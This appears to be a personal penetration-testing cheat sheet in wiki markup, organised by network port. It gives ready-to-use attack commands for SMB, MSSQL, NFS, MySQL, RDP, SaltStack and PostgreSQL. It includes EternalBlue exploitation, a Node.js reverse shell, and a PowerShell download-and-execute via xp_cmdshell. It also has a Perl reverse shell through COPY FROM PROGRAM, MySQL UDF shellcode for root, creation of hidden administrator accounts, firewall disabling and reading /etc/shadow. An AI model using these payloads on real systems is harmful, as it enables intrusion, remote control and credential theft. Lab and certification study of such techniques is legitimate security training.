psexec.py /@ -hashes :&lt;br /&gt;
wmiexec.py /:@&lt;br /&gt;
wmiexec.py /@ -hashes :&lt;br /&gt;
smbexec.py /:@&lt;br /&gt;
smbexec.py /@ -hashes :&lt;br /&gt;
atexec.py /:@&lt;br /&gt;
atexec.py /@ -hashes :&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Eternal Blue ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
MS17-010 - EternalBlue&lt;br /&gt;
MS08-067 - MS08-067&lt;br /&gt;
CVE-2017-7494 - CVE-2017-7494&lt;br /&gt;
# Send_and_Exectue.py&lt;br /&gt;
msfvenom -p windows/shell_reverse_tcp -f exe LHOST=10.10.14.17 LPORT=4444 &amp;gt; exploit.exe&lt;br /&gt;
python2 send_and_execute.py 10.10.10.40 exploit.exe&lt;br /&gt;
-----------------------------------------&lt;br /&gt;
# Command Execution&lt;br /&gt;
https://www.exploit-db.com/exploits/42315&lt;br /&gt;
# Uncomment this line and add your CMD&lt;br /&gt;
service_exec(conn, r&#039;cmd /c copy c:\pwned.txt c:\pwned_exec.txt&#039;)&lt;br /&gt;
-----------------------------------------&lt;br /&gt;
# AutoBlue&lt;br /&gt;
# Generate shellcode from shell_prep.sh&lt;br /&gt;
https://github.com/3ndG4me/AutoBlue-MS17-010&lt;br /&gt;
python eternalblue_exploit*.py&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Man in the middle ===&lt;br /&gt;
&lt;br /&gt;
==== URI file attack ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# See writeup for Vault&lt;br /&gt;
# If Windows host and SMB share is writeable we can upload a file that the target will interpret as a Windows shortcut. We will need Responder.&lt;br /&gt;
Kali &amp;gt; cat @file.url # Can also save as desktop.ini&lt;br /&gt;
[InternetShortcut]&lt;br /&gt;
URL=anything&lt;br /&gt;
WorkingDirectory=anything&lt;br /&gt;
IconFile=\\192.168.118.14\%USERNAME%.icon&lt;br /&gt;
IconIndex=1&lt;br /&gt;
# Start responder&lt;br /&gt;
sudo responder -I tun0 -v&lt;br /&gt;
# Hashtype&lt;br /&gt;
net-NTLMv2&lt;br /&gt;
# Upload file to SMB and wait for a user to access the file.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== 161 - SNMP ==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
snmp-check  [-p PORT]&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== 194,6667,6660-7000 - IRC ==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Can use different clients, like irssi&lt;br /&gt;
# See notes from box; UT99&lt;br /&gt;
#Connection with random nickname&lt;br /&gt;
USER ran213eqdw123 0 * ran213eqdw123&lt;br /&gt;
NICK ran213eqdw123&lt;br /&gt;
#If a PING : is responded you need to send&lt;br /&gt;
#PONG :&lt;br /&gt;
VERSION&lt;br /&gt;
HELP&lt;br /&gt;
INFO&lt;br /&gt;
LINKS&lt;br /&gt;
HELPOP USERCMDS&lt;br /&gt;
HELPOP OPERCMDS&lt;br /&gt;
OPERATOR CAPA&lt;br /&gt;
ADMIN      #Admin info&lt;br /&gt;
USERS      #Current number of users&lt;br /&gt;
TIME       #Server&#039;s time&lt;br /&gt;
STATS a    #Only operators should be able to run this&lt;br /&gt;
NAMES      #List channel names and usernames inside of each channel -&amp;gt; Nombre del canal y nombre de las personas que estan dentro&lt;br /&gt;
LIST       #List channel names along with channel banner&lt;br /&gt;
WHOIS       #WHOIS a username&lt;br /&gt;
USERHOST    #If available, get hostname of a user&lt;br /&gt;
USERIP      #If available, get ip of a user&lt;br /&gt;
JOIN    #Connect to a channel&lt;br /&gt;
#Operator creds Brute-Force&lt;br /&gt;
OPER&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== 389, 636, 3268, 3269 - LDAP ==&lt;br /&gt;
&lt;br /&gt;
=== Enumerate LDAP ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
nmap -n -sV --script &amp;quot;ldap* and not brute&amp;quot; -p 389 dc-ip&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Dump LDAP info ===&lt;br /&gt;
&lt;br /&gt;
Must have valid credentials&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
pip3 install ldapdomaindump&lt;br /&gt;
ldapdomaindump  [-r ] -u &#039;\&#039; -p &#039;&#039; [--authtype SIMPLE] --no-json --no-grep [-o /path/dir]&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Search queries ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# ldapsearch opens a connection to an LDAP server, binds, and performs a search using specified parameters.&lt;br /&gt;
ldapsearch -x -h  -b &amp;quot;dc=XXXX&amp;quot;&lt;br /&gt;
# Example&lt;br /&gt;
ldapsearch -x -H LDAP://192.168.89.122 -b &amp;quot;dc=hutch,dc=offsec&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== 873 - rsync ==&lt;br /&gt;
&lt;br /&gt;
=== Commands ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# https://book.hacktricks.xyz/network-services-pentesting/873-pentesting-rsync&lt;br /&gt;
# List shares&lt;br /&gt;
rsync -av --list-only rsync://192.168.243.126/&lt;br /&gt;
# Upload files&lt;br /&gt;
rsync -av test.txt rsync://192.168.243.126/fox&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Upload SSH key ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# 1 Generate an SSH key&lt;br /&gt;
ssh-keygen -t rsa&lt;br /&gt;
# 2 If you are in a users folder, create a .ssh&lt;br /&gt;
mkdir .ssh&lt;br /&gt;
rsync -av .ssh TARGET_IP/home_dir/&lt;br /&gt;
# 3 Create a authorized_keys file and add the content of id_rsa.pub to this file&lt;br /&gt;
touch authorized_keys&lt;br /&gt;
echo -n &#039;CONTENT of id_rsa.pub&#039; &amp;gt;&amp;gt; authorized_keys&lt;br /&gt;
# 4 Transfer the authorized_keys to the target&lt;br /&gt;
rsync -av authorized_keys TARGET_IP/home_dir/.ssh/&lt;br /&gt;
# 5 SSH into the machine. You need to know the owner of home_dir&lt;br /&gt;
ssh -i id_rsa USER@TARGETIP&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
https://www.netspi.com/blog/technical/network-penetration-testing/linux-hacking-case-studies-part-1-rsync/&lt;br /&gt;
https://book.hacktricks.xyz/pentesting/873-pentesting-rsync&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== 1098/1099/1050 - Java RMI ==&lt;br /&gt;
&lt;br /&gt;
[https://book.hacktricks.xyz/network-services-pentesting/1099-pentesting-java-rmi https://book.hacktricks.xyz/network-services-pentesting/1099-pentesting-java-rmi]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Running Remote Method Guesser&lt;br /&gt;
# https://github.com/qtc-de/remote-method-guesser#installation&lt;br /&gt;
java -jar rmg-4.3.0-jar-with-dependencies.jar&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== 1433 - MSSQL ==&lt;br /&gt;
&lt;br /&gt;
=== Microsoft SQL Server 2017 directory locations ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
\program files\microsoft sql server\mssql14.sqlexpress\mssql\backup\master.mdf&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Execute commands ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# https://book.hacktricks.xyz/network-services-pentesting/pentesting-mssql-microsoft-sql-server#execute-commands&lt;br /&gt;
# Log in to mssql&lt;br /&gt;
/usr/bin/impacket-mssqlclient -db volume -windows-auth /:@&lt;br /&gt;
# Execute commands&lt;br /&gt;
# Username + Password + CMD command&lt;br /&gt;
crackmapexec mssql -d  -u  -p  -x &amp;quot;whoami&amp;quot;&lt;br /&gt;
# Username + Hash + PS command&lt;br /&gt;
crackmapexec mssql -d  -u  -H  -X &#039;$PSVersionTable&#039;&lt;br /&gt;
# this turns on advanced options and is needed to configure xp_cmdshell&lt;br /&gt;
sp_configure &#039;show advanced options&#039;, &#039;1&#039;&lt;br /&gt;
RECONFIGURE&lt;br /&gt;
# this enables xp_cmdshell&lt;br /&gt;
sp_configure &#039;xp_cmdshell&#039;, &#039;1&#039;&lt;br /&gt;
RECONFIGURE&lt;br /&gt;
# Quickly check what the service account is via xp_cmdshell&lt;br /&gt;
EXEC master..xp_cmdshell &#039;whoami&#039;&lt;br /&gt;
# Bypass blackisted &amp;quot;EXEC xp_cmdshell&amp;quot;&lt;br /&gt;
‘; DECLARE @x AS VARCHAR(100)=’xp_cmdshell’; EXEC @x ‘ping k7s3rpqn8ti91kvy0h44pre35ublza.burpcollaborator.net’ —&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== xp_cmdshell ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# https://book.hacktricks.xyz/network-services-pentesting/pentesting-mssql-microsoft-sql-server#hacktricks-automatic-commands&lt;br /&gt;
# Need credentials&lt;br /&gt;
sqsh -S 10.10.10.59 -U sa -P GWE3V65#6KFH93@4GWTG2G&lt;br /&gt;
    ###the goal is to get xp_cmdshell working###&lt;br /&gt;
    1. try and see if it works&lt;br /&gt;
        xp_cmdshell `whoami`&lt;br /&gt;
        go&lt;br /&gt;
    2. try to turn component back on&lt;br /&gt;
        EXEC SP_CONFIGURE &#039;xp_cmdshell&#039; , 1&lt;br /&gt;
        reconfigure&lt;br /&gt;
        go&lt;br /&gt;
        xp_cmdshell `whoami`&lt;br /&gt;
        go&lt;br /&gt;
    3. &#039;advanced&#039; turn it back on&lt;br /&gt;
        EXEC SP_CONFIGURE &#039;show advanced options&#039;, 1&lt;br /&gt;
        reconfigure&lt;br /&gt;
        go&lt;br /&gt;
        EXEC SP_CONFIGURE &#039;xp_cmdshell&#039; , 1&lt;br /&gt;
        reconfigure&lt;br /&gt;
        go&lt;br /&gt;
        xp_cmdshell &#039;whoami&#039;&lt;br /&gt;
        go&lt;br /&gt;
    xp_cmdshell &amp;quot;powershell.exe -exec bypass iex(new-object net.webclient).downloadstring(&#039;http://10.10.14.60:8000/ye443.ps1&#039;)&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Extracting hashes from .mdf file ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
https://github.com/xpn/Powershell-PostExploitation&lt;br /&gt;
# read this if troulbe&lt;br /&gt;
https://github.com/xpn/Powershell-PostExploitation/issues/1&lt;br /&gt;
# Run Powershell on linux&lt;br /&gt;
pwsh&lt;br /&gt;
PS /home/aghanim/Desktop/OSCP/10.11.1.111/mdf/Powershell-PostExploitation/Invoke-MDFHashes&amp;gt; Add-Type -Path &#039;OrcaMDF.RawCore.dll&#039;&lt;br /&gt;
PS /home/aghanim/Desktop/OSCP/10.11.1.111/mdf/Powershell-PostExploitation/Invoke-MDFHashes&amp;gt; Add-Type -Path &#039;OrcaMDF.Framework.dll&#039;&lt;br /&gt;
PS /home/aghanim/Desktop/OSCP/10.11.1.111/mdf/Powershell-PostExploitation/Invoke-MDFHashes&amp;gt; import-module .\Get-MDFHashes.ps1&lt;br /&gt;
PS /home/aghanim/Desktop/OSCP/10.11.1.111/mdf/Powershell-PostExploitation/Invoke-MDFHashes&amp;gt; Get-MDFHashes -mdf &amp;quot;./master.mdf&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== 1521, 1522-1529 - Oracle TNS Listener ==&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== 1978, 1979, 1980 - Remote Mouse ==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Use nc to check header&lt;br /&gt;
# SIN 15win pwd pwd 300 : Indicating that the service requires authentication.&lt;br /&gt;
# SIN 15win nop nop 300 : Indicating that the service does not require authentication.&lt;br /&gt;
# Then use this exploit. Check writeup for PG mice and PWK IT dept 10.1.1.89.&lt;br /&gt;
https://github.com/p0dalirius/RemoteMouse-3.008-Exploit&lt;br /&gt;
# Edit the script to point to your Python HTTP server where nishang invoke tcp script is ready.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== 2049 - NFS ==&lt;br /&gt;
&lt;br /&gt;
=== no_root_squash ===&lt;br /&gt;
&lt;br /&gt;
https://blog.aghanim.net/?p=1252#Privilege_Escalation_NFS&lt;br /&gt;
&lt;br /&gt;
=== Access NFS through ssh tunnel ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Source https://medium.com/vieh-group/hacking-oscp-cheatsheet-ef63c43f919c&lt;br /&gt;
# Output from /etc/exports on target&lt;br /&gt;
/srv/Share 10.1.1.0/24(insecure,rw)&lt;br /&gt;
/srv/Share 127.0.0.1/32(no_root_squash,insecure,rw)&lt;br /&gt;
# Forward connection - Run the ssh command on attacker&lt;br /&gt;
ssh -f -N megumin@192.168.42.43 -L 2049:127.0.0.1:2049&lt;br /&gt;
mount -t nfs 127.0.0.1:/srv/pelota my_share&lt;br /&gt;
cd my_share&lt;br /&gt;
cat &amp;gt; shell.c&lt;br /&gt;
int main(){&lt;br /&gt;
  setuid(0);&lt;br /&gt;
  setgid(0);&lt;br /&gt;
  system(&amp;quot;/bin/bash&amp;quot;);&lt;br /&gt;
}&lt;br /&gt;
EOF&lt;br /&gt;
gcc shell.c -o shell&lt;br /&gt;
chmod u+s shell&lt;br /&gt;
# Reverse connection - Run the ssh command on target&lt;br /&gt;
# Beware that this means target will access attacker through ssh. Not as safe as forward connection.&lt;br /&gt;
ssh -N -R 192.168.119.176:2221:127.0.0.1:2049 aghanim@192.168.119.176&lt;br /&gt;
mount -v -t nfs -o port=2221,tcp localhost:/srv/Share mount&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== 3000 - NodeJs ==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;javascript&amp;quot;&amp;gt;&lt;br /&gt;
https://github.com/appsecco/vulnerable-apps/tree/master/node-reverse-shell&lt;br /&gt;
# The Javascript code below is a Node.js reverse shell.&lt;br /&gt;
# Remember to change the IP address and PORT with the nc you are running.&lt;br /&gt;
(function(){&lt;br /&gt;
    var net = require(&amp;quot;net&amp;quot;),&lt;br /&gt;
        cp = require(&amp;quot;child_process&amp;quot;),&lt;br /&gt;
        sh = cp.spawn(&amp;quot;/bin/sh&amp;quot;, []);&lt;br /&gt;
    var client = new net.Socket();&lt;br /&gt;
    client.connect(8080, &amp;quot;192.168.33.1&amp;quot;, function(){&lt;br /&gt;
        client.pipe(sh.stdin);&lt;br /&gt;
        sh.stdout.pipe(client);&lt;br /&gt;
        sh.stderr.pipe(client);&lt;br /&gt;
    });&lt;br /&gt;
    return /a/; // Prevents the Node.js application form crashing&lt;br /&gt;
})();&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== 3306 - MySQL/MariaDB ==&lt;br /&gt;
&lt;br /&gt;
=== Privilege escalation ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# https://medium.com/r3d-buck3t/privilege-escalation-with-mysql-user-defined-functions-996ef7d5ceaf&lt;br /&gt;
# User-defined function (UDF)&lt;br /&gt;
# If you can login as root you can create a malicious functions to run commands.&lt;br /&gt;
https://www.exploit-db.com/exploits/1518&lt;br /&gt;
# You can also compile it on attacker if target dont have gcc. Use --static.&lt;br /&gt;
# Check if secure_file_priv. If empty means disabled&lt;br /&gt;
show variables like &#039;%secure_file_priv%&#039;;&lt;br /&gt;
# Find plugin path. Add the path on step file (dumpfile)&lt;br /&gt;
show variables like &#039;%plugin%&#039;;&lt;br /&gt;
$ gcc -g -c raptor_udf2.c&lt;br /&gt;
 * $ gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc&lt;br /&gt;
# Can also transfer exploit raptor_udf2.so with hex.&lt;br /&gt;
## xxd -p raptor_udf2.so | tr -d &#039;\n&#039; &amp;gt; raptor_udf2.so.hex&lt;br /&gt;
 * $ mysql -u root -p&lt;br /&gt;
 * Enter password:&lt;br /&gt;
 * [...]&lt;br /&gt;
# Set variable for shellcode&lt;br /&gt;
## set @shell = 0x7f454c4602010100000000000000000003003e000100000000110000000000004000000000000000e03b0000000000000000000040003800090040001c001b000100000004000000000000...00000000000000000000;&lt;br /&gt;
 * mysql&amp;gt; use mysql;&lt;br /&gt;
 * mysql&amp;gt; create table foo(line blob);&lt;br /&gt;
 * mysql&amp;gt; insert into foo values(load_file(&#039;/home/raptor/raptor_udf2.so&#039;));&lt;br /&gt;
# Output shellcode to file on target&lt;br /&gt;
## select binary @shell into dumpfile &#039;/usr/lib/raptor_udf2.so&#039;;&lt;br /&gt;
 * mysql&amp;gt; select * from foo into dumpfile &#039;/usr/lib/raptor_udf2.so&#039;;&lt;br /&gt;
 * mysql&amp;gt; create function do_system returns integer soname &#039;raptor_udf2.so&#039;;&lt;br /&gt;
 * mysql&amp;gt; select * from mysql.func;&lt;br /&gt;
 * +-----------+-----+----------------+----------+&lt;br /&gt;
 * | name      | ret | dl             | type     |&lt;br /&gt;
 * +-----------+-----+----------------+----------+&lt;br /&gt;
 * | do_system |   2 | raptor_udf2.so | function |&lt;br /&gt;
 * +-----------+-----+----------------+----------+&lt;br /&gt;
 * mysql&amp;gt; select do_system(&#039;id &amp;gt; /tmp/out; chown raptor.raptor /tmp/out&#039;);&lt;br /&gt;
# OR&lt;br /&gt;
select do_system(&#039;cp /bin/bash /tmp/out; chmod +xs /tmp/out&#039;);&lt;br /&gt;
 * mysql&amp;gt; \! sh&lt;br /&gt;
 * sh-2.05b$ cat /tmp/out&lt;br /&gt;
 * uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm)&lt;br /&gt;
 * [...]&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Privilege escalation method 2 ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
https://github.com/mysqludf/lib_mysqludf_sys&lt;br /&gt;
# Compiling the above will sometimes not work and you have to do some editing. See the below commands to fix issue and compile correct.&lt;br /&gt;
xxd -p lib_mysqludf_sys.so| tr -d &#039;\n&#039; &amp;gt; lib_mysqludf_sys.so.hex&lt;br /&gt;
cat lib_mysqludf_sys.so.hex |  xclip -selection clipboard&lt;br /&gt;
MariaDB [(none)]&amp;gt; select @@plugin_dir&lt;br /&gt;
MariaDB [(none)]&amp;gt;  set @shell = 0x7f454c4602010100000000000000000003003e000100000000110000000000004000000000000000e03b0000000000000000000040003800090040001c001b000100000004000000000000...00000000000000000000;&lt;br /&gt;
MariaDB [(none)]&amp;gt; select binary @shell into dumpfile @@plugin_dir; # Write out the plugin dir like this &#039;/usr/lib/lib_mysqludf_sys.so&lt;br /&gt;
MariaDB [(none)]&amp;gt; create function sys_exec returns int soname &#039;udf_sys_exec.so&#039;;&lt;br /&gt;
MariaDB [(none)]&amp;gt; select * from mysql.func where name=&#039;sys_exec&#039;;&lt;br /&gt;
MariaDB [(none)]&amp;gt; select sys_exec(&#039;cp /bin/sh /tmp/; chown root:root /tmp/sh; chmod +s /tmp/sh&#039;)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
git clone https://github.com/mysqludf/lib_mysqludf_sys.git&lt;br /&gt;
cd lib_mysqludf_sys&lt;br /&gt;
rm lib_mysqludf_sys.so&lt;br /&gt;
sed -i &#039;s|$(LIBDIR)|.|g&#039; Makefile&lt;br /&gt;
sed -i &#039;s|-Wall -I/usr/include/mysql|-Wall -I/usr/include/mariadb/server -I/usr/include/mariadb/ -I/usr/include/mariadb/server/private|g&#039; Makefile&lt;br /&gt;
ex lib_mysqludf_sys.c &amp;lt;&amp;lt;&amp;lt;&amp;quot;57,62m27|wq&amp;quot;&lt;br /&gt;
sudo apt install libmariadbd-dev&lt;br /&gt;
make&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== 3389 - RDP ==&lt;br /&gt;
&lt;br /&gt;
=== Add user and enable RDP ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# https://github.com/xapax/oscp/blob/master/templates/windows-template.md&lt;br /&gt;
net user aghanim Password123 /add&lt;br /&gt;
net localgroup Administrators aghanim /add&lt;br /&gt;
net localgroup &amp;quot;Remote Desktop Users&amp;quot; aghanim /ADD&lt;br /&gt;
# Enable RDP&lt;br /&gt;
reg add &amp;quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server&amp;quot; /v fDenyTSConnections /t REG_DWORD /d 0 /f&lt;br /&gt;
Turn firewall off&lt;br /&gt;
netsh firewall set opmode disable&lt;br /&gt;
Or like this&lt;br /&gt;
reg add &amp;quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server&amp;quot; /v fDenyTSConnections /t REG_DWORD /d 0 /f&lt;br /&gt;
If you get this error:&lt;br /&gt;
&amp;quot;ERROR: CredSSP: Initialize failed, do you have correct kerberos tgt initialized ?&lt;br /&gt;
Failed to connect, CredSSP required by server.&amp;quot;&amp;quot;&lt;br /&gt;
Add this reg key:&lt;br /&gt;
reg add &amp;quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp&amp;quot; /v UserAuthentication /t REG_DWORD /&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== ThinVNC ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
https://www.exploit-db.com/exploits/47519&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== 4505, 4506 - zmtp ==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# RCE in Satlstack 3000 ZeroMQ CVE-2020-11651 and CVE-2020-11652 in&lt;br /&gt;
# https://github.com/jasperla/CVE-2020-11651-poc&lt;br /&gt;
python3 exploit.py --master 192.168.115.130 --exec &amp;quot;nc 127.0.0.1 4444 -e /bin/sh&amp;quot;&lt;br /&gt;
python3 exploit.py --master 192.168.115.130 -r /etc/shadow&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== 5432, 5433 - PostgreSQL ==&lt;br /&gt;
&lt;br /&gt;
=== Commands ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
psql -U  # Open psql console with user&lt;br /&gt;
psql -h  -U  -d  # Remote connection&lt;br /&gt;
psql -h  -p  -U  -W   # Remote connection&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;sql&amp;quot;&amp;gt;&lt;br /&gt;
psql -h localhost -d  -U  #Password will be prompted&lt;br /&gt;
\list # List databases&lt;br /&gt;
\c  # use the database&lt;br /&gt;
\d # List tables&lt;br /&gt;
\du+ # Get users roles&lt;br /&gt;
#Read a file&lt;br /&gt;
CREATE TABLE demo(t text);&lt;br /&gt;
COPY demo from &#039;[FILENAME]&#039;;&lt;br /&gt;
SELECT * FROM demo;&lt;br /&gt;
#Write ascii to a file (copy to cannot copy binary data)&lt;br /&gt;
COPY (select convert_from(decode(&#039;&#039;,&#039;base64&#039;),&#039;utf-8&#039;)) to &#039;C:\\some\\interesting\path.cmd&#039;;&lt;br /&gt;
#List databases&lt;br /&gt;
SELECT datname FROM pg_database;&lt;br /&gt;
#Read credentials (usernames + pwd hash)&lt;br /&gt;
SELECT usename, passwd from pg_shadow;&lt;br /&gt;
#Check if current user is superiser&lt;br /&gt;
SELECT current_setting(&#039;is_superuser&#039;); #If response is &amp;quot;on&amp;quot; then true, if &amp;quot;off&amp;quot; then false&lt;br /&gt;
#Check if plpgsql is enabled&lt;br /&gt;
SELECT lanname,lanacl FROM pg_language WHERE lanname = &#039;plpgsql&#039;&lt;br /&gt;
#Change password&lt;br /&gt;
ALTER USER user_name WITH PASSWORD &#039;new_password&#039;;&lt;br /&gt;
#Check users privileges over a table (pg_shadow on this example)&lt;br /&gt;
SELECT grantee, privilege_type&lt;br /&gt;
FROM information_schema.role_table_grants&lt;br /&gt;
WHERE table_name=&#039;pg_shadow&#039;&lt;br /&gt;
#Get users roles&lt;br /&gt;
SELECT&lt;br /&gt;
      r.rolname,&lt;br /&gt;
      r.rolsuper,&lt;br /&gt;
      r.rolinherit,&lt;br /&gt;
      r.rolcreaterole,&lt;br /&gt;
      r.rolcreatedb,&lt;br /&gt;
      r.rolcanlogin,&lt;br /&gt;
      r.rolconnlimit, r.rolvaliduntil,&lt;br /&gt;
  ARRAY(SELECT b.rolname&lt;br /&gt;
        FROM pg_catalog.pg_auth_members m&lt;br /&gt;
        JOIN pg_catalog.pg_roles b ON (m.roleid = b.oid)&lt;br /&gt;
        WHERE m.member = r.oid) as memberof&lt;br /&gt;
, r.rolreplication&lt;br /&gt;
FROM pg_catalog.pg_roles r&lt;br /&gt;
ORDER BY 1;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== RCE ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# https://book.hacktricks.xyz/pentesting-web/sql-injection/postgresql-injection#rce&lt;br /&gt;
#PoC&lt;br /&gt;
DROP TABLE IF EXISTS cmd_exec;&lt;br /&gt;
CREATE TABLE cmd_exec(cmd_output text);&lt;br /&gt;
COPY cmd_exec FROM PROGRAM &#039;id&#039;;&lt;br /&gt;
SELECT * FROM cmd_exec;&lt;br /&gt;
&lt;br /&gt;
postgres=# COPY cmd_exec FROM PROGRAM &#039;perl -MIO -e &#039;&#039;$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,&amp;quot;192.168.49.115:80&amp;quot;);STDIN-&amp;gt;fdopen($c,r);$~-&amp;gt;fdopen($c,w);system$_ while&amp;lt;&amp;gt;;;&lt;br /&gt;
COPY 0&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
